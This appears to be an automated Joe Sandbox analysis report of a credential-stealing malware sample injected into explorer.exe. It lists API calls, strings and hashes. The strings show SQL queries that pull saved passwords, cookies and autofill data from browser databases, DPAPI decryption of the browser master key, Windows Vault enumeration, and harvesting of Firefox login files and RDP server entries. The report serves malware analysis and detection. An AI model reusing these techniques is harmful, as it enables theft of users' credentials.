Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Enum$CloseOpen
String ID:
API String ID: 1701607978-0
Opcode ID: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction ID: 318054070ce885c5c804598790a2ad53726c01c41097e5f41f1fb6ce055d316f
Opcode Fuzzy Hash: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction Fuzzy Hash: D1218C33618B8582D3108F11E48476AB7B9F788B88F150236EB9C43B68DF7DD559CB00

Function 00007FF6F2D678EC Relevance: 6.1, APIs: 4, Instructions: 56libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6F2D6797A
GetProcAddress.KERNEL32 ref: 00007FF6F2D67986
GetCurrentProcess.KERNEL32 ref: 00007FF6F2D67995
IsWow64Process.KERNEL32 ref: 00007FF6F2D679A3

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Process$AddressCurrentLibraryLoadProcWow64
String ID:
API String ID: 4035193891-0
Opcode ID: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction ID: 54ffae949bef6d201d2b23d3d54574bce34f7c9b24ad8c938e48876a4b491b95
Opcode Fuzzy Hash: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction Fuzzy Hash: 0421A4629187C587EB104F61A49527AAB90FB5D784F144335DAED46B86EFACD1048F10

Function 00007FF6F2D6E4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF6F2D6E500
PathAppendW.SHLWAPI ref: 00007FF6F2D6E50E

Part of subcall function 00007FF6F2D6CCF8: RegGetValueW.ADVAPI32 ref: 00007FF6F2D6CD37
Part of subcall function 00007FF6F2D6CCF8: RegGetValueW.ADVAPI32 ref: 00007FF6F2D6CD76

Strings

Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF6F2D6E4F4

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Value$AppendPathlstrcpy
String ID: Software\Microsoft\Terminal Server Client\Servers
API String ID: 19203174-1233151749
Opcode ID: 0d695f50cfbc54c939f23020370ed581918cd74b60817dfd48474a5e17f4269d
Instruction ID: bb8b5de2bade38a54623a1a77ac7b484651743d4ae80cd4a1efe7a2f28ae117b
Opcode Fuzzy Hash: 0d695f50cfbc54c939f23020370ed581918cd74b60817dfd48474a5e17f4269d
Instruction Fuzzy Hash: 9521B171618A8285DB20EF61D8542EE7755FB89BC8F444232EA6D8B7D9EE7CC604CF10

Function 00007FF6F2D6FDE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF6F2D6FE11
lstrcatW.KERNEL32 ref: 00007FF6F2D6FE1E

Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF62
Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF7E
Part of subcall function 00007FF6F2D6FF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF6F2D6FFA7
Part of subcall function 00007FF6F2D6FF3C: PathFileExistsA.SHLWAPI ref: 00007FF6F2D6FFB0
Part of subcall function 00007FF6F2D6FF3C: OpenFile.KERNEL32 ref: 00007FF6F2D6FFC9
Part of subcall function 00007FF6F2D6FF3C: GetFileSize.KERNEL32 ref: 00007FF6F2D6FFE9
Part of subcall function 00007FF6F2D6FF3C: CreateFileMappingA.KERNEL32 ref: 00007FF6F2D70020
Part of subcall function 00007FF6F2D6FF3C: MapViewOfFile.KERNEL32 ref: 00007FF6F2D70041
Part of subcall function 00007FF6F2D6FF3C: __memcpy.DELAYIMP ref: 00007FF6F2D70053
Part of subcall function 00007FF6F2D6FF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF6F2D7005E
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70067
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70070

Part of subcall function 00007FF6F2D6F280: __memcpy.DELAYIMP ref: 00007FF6F2D6F29E

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

APPDATA, xrefs: 00007FF6F2D6FE0A

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$CloseHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcat
String ID: APPDATA
API String ID: 2395011915-4054820676
Opcode ID: cec1ab9afa3ae12122d372c36ef716b8056693dd0c9b4a40219edd8f34d93ed0
Instruction ID: 926aa1646ae5a1d4d74c6a747b00ac076e8f020b637d6841559ef78b06fd1af5
Opcode Fuzzy Hash: cec1ab9afa3ae12122d372c36ef716b8056693dd0c9b4a40219edd8f34d93ed0
Instruction Fuzzy Hash: A6118132728E4695EB10DB10E4845ED7770FB85788F845131EAAE87A99FFBCD508CB50

Analysis Process: explorer.exePID: 6796, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	50.1%
Signature Coverage:	3.1%
Total number of Nodes:	802
Total number of Limit Nodes:	82

Executed Functions

Function 02753717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751B6A: CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
Part of subcall function 02751B6A: CloseHandle.KERNEL32(00000000), ref: 02751B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 02753778
GetTempFileNameW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02753782
DeleteFileW.KERNEL32(00000000), ref: 02753789
CopyFileW.KERNEL32(?,00000000,00000000), ref: 02753794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 0275383B
RtlZeroMemory.NTDLL(?,00000040), ref: 02753870
lstrlen.KERNEL32(?,?,?,?,?), ref: 0275398B
lstrlen.KERNEL32(00000000), ref: 0275399A
wsprintfA.USER32 ref: 027539F1
lstrlen.KERNEL32(00000000,?,?), ref: 027539FD
lstrcat.KERNEL32(00000000,?), ref: 02753A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 02753A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 02753B13
lstrlen.KERNEL32(00000000), ref: 02753B22
wsprintfA.USER32 ref: 02753B79
lstrlen.KERNEL32(00000000), ref: 02753B85
lstrcat.KERNEL32(00000000,?), ref: 02753BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 02753BDA
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 02753C16

Strings

v1, xrefs: 02753821
FALSE, xrefs: 027539BC, 02753B3C
COOKIES, xrefs: 02753BE8, 02753BED, 02753BF6
%sTRUE%s%s%s%s%s, xrefs: 027539EB, 02753B73
TRUE, xrefs: 027539C9, 02753B51
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 027537C3
0, xrefs: 02753828

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: 690a921388d7a2daf90bc0710df98d5f811de8da34d2b74a56705e1cfd330789
Instruction ID: fa94ac2788205ba3fd72da0bbc087a9d5905fd9a8994ded8502302c6e7aec76e
Opcode Fuzzy Hash: 690a921388d7a2daf90bc0710df98d5f811de8da34d2b74a56705e1cfd330789
Instruction Fuzzy Hash: BFE19D716083519FDB12DF24C854B2FBBEAAFC5798F04896CF885962A0DBB5C805CB52

Function 02752198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 027521AF
GetVersionExW.KERNEL32(?), ref: 027521BE
LoadLibraryW.KERNEL32(vaultcli.dll), ref: 027521E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 0275220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 02752214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 02752220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0275222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 02752236
RtlCompareMemory.NTDLL(?,027B1110,00000010), ref: 027522E8
RtlCompareMemory.NTDLL(?,027B1110,00000010), ref: 0275236C

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 027523FE
FreeLibrary.KERNEL32(00000000), ref: 02752493

Strings

VaultEnumerateItems, xrefs: 02752216
VaultCloseVault, xrefs: 0275220C
VaultFree, xrefs: 0275222C
vaultcli.dll, xrefs: 027521E3
Internet Explorer, xrefs: 027523F8
VaultGetItem, xrefs: 02752222
VaultOpenVault, xrefs: 02752204

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: c011b48656fd0515c17a5560e7a5011165e443d2da37c84e39ef1fbe6bc7f475
Instruction ID: 66c4944bf8a0b77f340c393dc4d3486add4e70a026df807341689fbad7a1f3c1
Opcode Fuzzy Hash: c011b48656fd0515c17a5560e7a5011165e443d2da37c84e39ef1fbe6bc7f475
Instruction Fuzzy Hash: AF918B71A083519FDB18DF65C894A2BFBEAAFC8704F44482DFD8997251EBB0D801CB52

Function 02753098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751B6A: CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
Part of subcall function 02751B6A: CloseHandle.KERNEL32(00000000), ref: 02751B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 027530F9
GetTempFileNameW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02753103
DeleteFileW.KERNEL32(00000000), ref: 0275310A
CopyFileW.KERNEL32(?,00000000,00000000), ref: 02753115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 027531A4
RtlZeroMemory.NTDLL(?,00000040), ref: 027531D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 027532DF
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 0275339C

Strings

0, xrefs: 02753191
SELECT origin_url,username_value,password_value FROM logins, xrefs: 02753136
@, xrefs: 027531F1
v1, xrefs: 0275318A

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: 080ca261b1708006b4be5b85fbcf3e5b0f5075f870b28a2b6b9f06a00962bf4f
Instruction ID: afee89150d402cc43c5579136e75e8bca7e2841f1354463275897cbd6e7858a6
Opcode Fuzzy Hash: 080ca261b1708006b4be5b85fbcf3e5b0f5075f870b28a2b6b9f06a00962bf4f
Instruction Fuzzy Hash: 5A91AE71508351ABD711DF24C844F2FFBEAAFC5799F44492CF889962A0DBB5D804CB62

Function 02753ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 02753F0A
FindFirstFileW.KERNEL32(00000000,?,?,00000000), ref: 02753F16
lstrcmpiW.KERNEL32(?,027A62CC), ref: 02753F38
lstrcmpiW.KERNEL32(?,027A62D0), ref: 02753F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 02753F69
lstrcmpiW.KERNEL32(?,Local State), ref: 02753F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 02753F9B
FindNextFileW.KERNEL32(00000000,00000010), ref: 02753FB5
FindClose.KERNEL32(00000000), ref: 02753FC4

Strings

*.*, xrefs: 02753F01
Local State, xrefs: 02753F78

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: f8422cb1066c3ba408670ae3e47d00ec6f0f1c94fa0f41eed739c026918003d9
Instruction ID: 78c2961f85f7a30c77106a3e8c020ca31cb03a42af05d742ad0be1034b68042a
Opcode Fuzzy Hash: f8422cb1066c3ba408670ae3e47d00ec6f0f1c94fa0f41eed739c026918003d9
Instruction Fuzzy Hash: F921C1316402246BEB11A630DC0CE2BBBADDFC27A6B484929BC16C21D0EBB484598A61

Function 02752B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?,00000000), ref: 02752B3D
lstrcmpiW.KERNEL32(?,027A62CC), ref: 02752B63
lstrcmpiW.KERNEL32(?,027A62D0), ref: 02752B7B

Part of subcall function 027519B4: lstrlenW.KERNEL32(00000000,00000000,00000000,02752CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 027519C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 02752BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 02752C16
FindNextFileW.KERNEL32(00000000,00000010), ref: 02752C43
FindClose.KERNEL32(00000000), ref: 02752C52

Strings

\*.*, xrefs: 02752B15
cookies.sqlite, xrefs: 02752C10
logins.json, xrefs: 02752BE1

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: be09314ac81a54f6077f8216aae7d778670d4e532b533d4c4ffb66e6bb21966c
Instruction ID: 29c6d7afb15d10190f610193618ade29a69d2a622e71594f7b914f31cf220ab7
Opcode Fuzzy Hash: be09314ac81a54f6077f8216aae7d778670d4e532b533d4c4ffb66e6bb21966c
Instruction Fuzzy Hash: 6731B6307043654B9F15AB309C58A3FF79EAFC4711B48492CAD4AD2282EBB9C9069A51

Function 02751D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027519B4: lstrlenW.KERNEL32(00000000,00000000,00000000,02752CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 027519C4

FindFirstFileW.KERNEL32(00000000,?,?,00000000), ref: 02751DA9
lstrcmpiW.KERNEL32(?,027A62CC), ref: 02751DCF
lstrcmpiW.KERNEL32(?,027A62D0), ref: 02751DE7
lstrcmpiW.KERNEL32(?,?), ref: 02751E62

Part of subcall function 02751CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,02752C27), ref: 02751D02
Part of subcall function 02751CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 02751D0D

FindNextFileW.KERNEL32(00000000,00000010), ref: 02751E94
FindClose.KERNEL32(00000000), ref: 02751EA3

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

Strings

\*.*, xrefs: 02751D79
*.*, xrefs: 02751D8B

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 1f8e75a7e0d04635a4552e78ef261ca206badf35bd2f9344fec50d25e8161dfc
Instruction ID: dcc575b86cb22a93929c0030e34f9ac5b0f5a808776a7492694ed199b229deff
Opcode Fuzzy Hash: 1f8e75a7e0d04635a4552e78ef261ca206badf35bd2f9344fec50d25e8161dfc
Instruction Fuzzy Hash: F631A6307043615BDB11EB308898B7FF7EE9FC4353F444A29ED4E92240EBF588458A52

Function 02753E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751B6A: CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
Part of subcall function 02751B6A: CloseHandle.KERNEL32(00000000), ref: 02751B8F

Part of subcall function 02751C31: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,02753E1E,00000000,?,02753FA8), ref: 02751C46
Part of subcall function 02751C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,02753FA8), ref: 02751C56
Part of subcall function 02751C31: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,02753FA8), ref: 02751C76
Part of subcall function 02751C31: CloseHandle.KERNEL32(00000000,?,02753FA8), ref: 02751C91

Part of subcall function 02752FB1: StrStrIA.SHLWAPI(00000000,"encrypted_key":",00000000,00000000,00000000,02753E30,00000000,00000000,?,02753FA8), ref: 02752FC1
Part of subcall function 02752FB1: lstrlen.KERNEL32("encrypted_key":",?,02753FA8), ref: 02752FCE
Part of subcall function 02752FB1: StrStrIA.SHLWAPI("encrypted_key":",027A692C,?,02753FA8), ref: 02752FDD

Part of subcall function 0275123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,02753E4B,00000000), ref: 0275124A
Part of subcall function 0275123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 02751268
Part of subcall function 0275123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 02751295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 02753E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 02753E9E

Strings

DPAP, xrefs: 02753E5A
IDPAP, xrefs: 02753E6E, 02753E72
, xrefs: 02753EA8
DPAP, xrefs: 02753E52

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: 643df28d065a2fdabc9d894588f02bfdc3057c687e44f8f2d24fb40103b65585
Instruction ID: 45bec016adf037668c845d5b31801e31f6ffacd0288bd6cef657d847eefd116a
Opcode Fuzzy Hash: 643df28d065a2fdabc9d894588f02bfdc3057c687e44f8f2d24fb40103b65585
Instruction Fuzzy Hash: 5021F3726043655BD712EA688C90A7FF2DDAF84740F840A6DEC48D7240EBF4CD088BD2

Function 02754B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02751162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0275116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 02754BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 02754BBF

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: a7432630ee063868ada6eba58da06871d4f221a1211bad0c571ca83be92d0de4
Instruction ID: a76af23f17f165e381718528495a01f162738b2c407ff24140ed873b91b9a7e5
Opcode Fuzzy Hash: a7432630ee063868ada6eba58da06871d4f221a1211bad0c571ca83be92d0de4
Instruction Fuzzy Hash: 98E0D8359016306BCF597F30BC2CF4BBB5E9FC1371F10C914A959920C0CBB14480CA50

Function 02756512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(027B20A4,00000001,00000000,0000000A,027A3127,027528DA,00000000,?), ref: 0275BFFC

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 30725753146968534689755362786fe908103ca65a984deb58e3d3cc109bb444
Instruction ID: 40f93b1dfceceb243625fb59e311f5bd4af2345d467f3c6f48edb4c690067173
Opcode Fuzzy Hash: 30725753146968534689755362786fe908103ca65a984deb58e3d3cc109bb444
Instruction Fuzzy Hash: 47E092717C433030F61336B86C1BF9A9A4E4F81F00FE04915FF1AA80CCCBD994404A26

Function 02753C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751B6A: CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
Part of subcall function 02751B6A: CloseHandle.KERNEL32(00000000), ref: 02751B8F

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 02753C6A
GetTempFileNameW.KERNEL32(00000000,00000000,00000000,00000000), ref: 02753C76
DeleteFileW.KERNEL32(00000000), ref: 02753C7D
CopyFileW.KERNEL32(?,00000000,00000000), ref: 02753C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 02753D2F
lstrlen.KERNEL32(00000000), ref: 02753D36
wsprintfA.USER32 ref: 02753D55
lstrlen.KERNEL32(00000000), ref: 02753D61
lstrcat.KERNEL32(00000000,?), ref: 02753D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 02753DB2
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 02753DED

Strings

AUTOFILL, xrefs: 02753DBD, 02753DC2, 02753DCC
SELECT name,value FROM autofill, xrefs: 02753CAA
%s = %s, xrefs: 02753D4F

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: 9ce002a9e8abd319a00dddc938ddba9a7ebe82fc7378c12f5052e68654dca593
Instruction ID: 6ccc5daadeb4d377f4b6e5d926790ba1cc8d752c224e32aa6510134f2d55c558
Opcode Fuzzy Hash: 9ce002a9e8abd319a00dddc938ddba9a7ebe82fc7378c12f5052e68654dca593
Instruction Fuzzy Hash: E341B231604321ABD712AB75CC88E3FBBAEAFC5795F44496CFC4AA2151DB75C8018B62

Function 027528F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000,00000000,?), ref: 02752AD2

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 027529E1
lstrlen.KERNEL32(00000000), ref: 027529EC
